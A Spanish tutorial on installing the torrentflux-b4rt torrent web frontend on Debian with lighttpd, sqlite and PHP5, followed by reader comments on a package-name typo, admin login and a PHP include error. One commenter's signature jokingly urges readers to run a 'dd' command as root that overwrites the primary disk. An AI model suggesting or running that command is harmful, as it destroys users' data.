Instalar torrenflux-b4rt en Debian

Debian

Se trata de un frontend para bittorrent y wget escrito en PHP. torrentflux-b4rt es un fork de torrentflux más flexible, ligero y potente que el original. En esta receta se explica cómo instalarlo sobre lighttpd y sqlite.

Ingredientes

Instala los siguiente paquetes debian con apt-get, aptitude, synaptic o lo que sea que uses.

Obligatorios

  • lighttpd – servidor web rápido con bajo consumo de memoria
  • sqlite – servidor ligero de base de datos
  • php5 php5-cgi php5-cli php5-sqlite
  • python
  • bittornado – cliente de bittorrent

Opcionales

  • transmission-cli – cliente de bittorrent
  • vlc – reproductor multimedia

Configurar php5 con lighttpd

lighhttpd viene sin configuración para php5, pero como vas a ver, es muy sencillo hacerla:

# cd /etc/lighttpd/conf-available/
/etc/lighttpd# sed ‘s/php4/php5/g’ 10-fastcgi.conf > 10-fastcgi-php5.conf

  1. lighty-enable-mod fastcgi-php5
  2. /etc/init.d/lighttpd restart

Instalar torrentflux-b4rt

Descarga el tarball de la sección de descargas de la web oficial. En el momento de escribir esta receta era la versión 1.0-beta1

Descomprime el fichero en algún sitio razonable, como /usr/local/tfb/:

/usr/local/tfb$ unp torrentflux-b4rt_1.0-beta1.tar.bz2

Enlaza el subdirectorio html desde un directorio visible por el servidor web (/var/www):

# ln -s /usr/local/tfb/html /var/www/tfb

Y cambiar el propietario:

# chown -R www-data.www-data /usr/local/tf/html

Configurar torrentflux

Carga en tu navegador la dirección http://localhost/tfb y sigue las instrucciones. Es importante que estés atento a los siguientes datos.

  • Base de datos: sqlite
  • Directorio de descarga: [uno con permisos para el servidor web]
  • Aplicaciones necesarios instaladas

Una vez terminada la puesta en marcha, verás la página de configuración en la que puedes elegir los programas a usar, las tasas máximas de descarga y otras muchas variables.

Referencias

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.
Imagen de int-0

Cuidadin con las interfaces webs de torrents

Echad un ojo a este aviso de seguridad.
—————————————————————
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
—————————————————————

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------

Imagen de Lk2

Un par de cosas

Ayer en la party formé “medio caos” intentando instalarlo …

La primera cosa es un pequeño problema de escritura… el paquete “hp5-cgi” supongo que será “php5-cgi”.

La otra es cuando se termina la instalación. en el paquete Debian de “torrentflux”, por defecto, el usuario y la password son “admin” y “admin” … ¿pero en esta instalación cuales son? Estube mirando en la referencia y lo que vi de la password no me funcionó.

¡Queremos saber! Laughing out loud

Imagen de tato

torrentflux

Justo cuando voy a entrar al paso del login y le doy a “Continue” me lanza este error:

Warning: require_once(inc/language/) [function.require-once]: failed to open stream: No such file or directory in /usr/local/tfb/html/inc/functions/functions.common.language.php on line 62

Fatal error: require_once() [function.require]: Failed opening required ‘inc/language/’ (include_path=’.:/usr/share/php:/usr/share/pear’) in /usr/local/tfb/html/inc/functions/functions.common.language.php on line 62

¿Cómo podría solucionarlo?
Gracias:)

Imagen de david.villa

Mira a ver

si ese fichero está dónde lo busca. Si está, que casi seguro que sí, tu problema es de permisos.

No soy portavoz de ningún colectivo, grupo o facción. Mi opinión es personal e intransferible.

torrentflux

Una consulta yo tengo el mismo problema que me sale

Warning: require_once(inc/language/) [function.require-once]: failed to open stream: No such file or directory in /usr/local/tfb/html/inc/functions/functions.common.language.php on line 62

Fatal error: require_once() [function.require]: Failed opening required ‘inc/language/’ (include_path=’.:/usr/share/php:/usr/share/pear’) in /usr/local/tfb/html/inc/functions/functions.common.language.php on line 62

y tengo los archivos y no se como darles los permiso necesario para poder correr la aplicacion

ATTE
Matias

Imagen de david.villa

El login y password

El login y password del admin son los que pongas la primera vez que entras (te lo avisa en negrita en el último paso del procedimiento de configuración Sticking out tongue). Corregido lo del nombre del paquete, gracias

No soy portavoz de ningún colectivo, grupo o facción. Mi opinión es personal e intransferible.

pero si fuera así, entonces

pero si fuera así, entonces al poner admin admin tendría k haber funcionado no?

Imagen de david.villa

pozi, tendría y tiene

aunque precisamente con “admin” no he probado, pero vamos, digo yo que le valdrá cualquier login/pass

No soy portavoz de ningún colectivo, grupo o facción. Mi opinión es personal e intransferible.